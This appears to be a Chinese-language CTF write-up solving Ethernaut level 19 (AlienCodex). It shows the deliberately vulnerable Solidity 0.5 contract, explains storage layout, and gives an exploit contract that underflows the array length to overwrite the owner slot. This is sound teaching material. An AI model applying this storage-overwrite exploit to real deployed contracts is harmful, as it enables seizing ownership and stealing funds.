LEVEL 19 (AlienCodex):
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import './helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
通关要求
owner = player
要点
1.storage如何存储
https://docs.soliditylang.org/en/v0.8.14/internals/layout_in_storage.html
2.计算溢出 (旧版会溢出,0.8后会异常,这关就不存在了)
解题思路
首先要了解storage里动态数组如何存储
Slot Data
------------------------------
0 owner, contact
1 codex.length #p = 1
.
.
keccak256(p) codex[0]
keccak256(p) + 1 codex[1]
.
.
keccak256(p) + index codex[index]
.
contracts/19AlienCodexRun.sol
function run(address _runAddress,address _playerAddress) external payable {
ILevel level = ILevel(_runAddress);
level.make_contact();
//先回退,0.5版本会溢出,数组长度变很长
level.retract();
bytes32 arrSlot = keccak256(abi.encodePacked(uint256(1)));
uint256 gap = (type(uint256).max - uint256(arrSlot)) + 1;
//传入GAP会导致arrSlot+gag溢出后=0,即设置slot:0,这个位置用于存owner和bool contact
level.revise(gap, bytes32(uint256(uint160(_playerAddress))));
}
Top comments (0)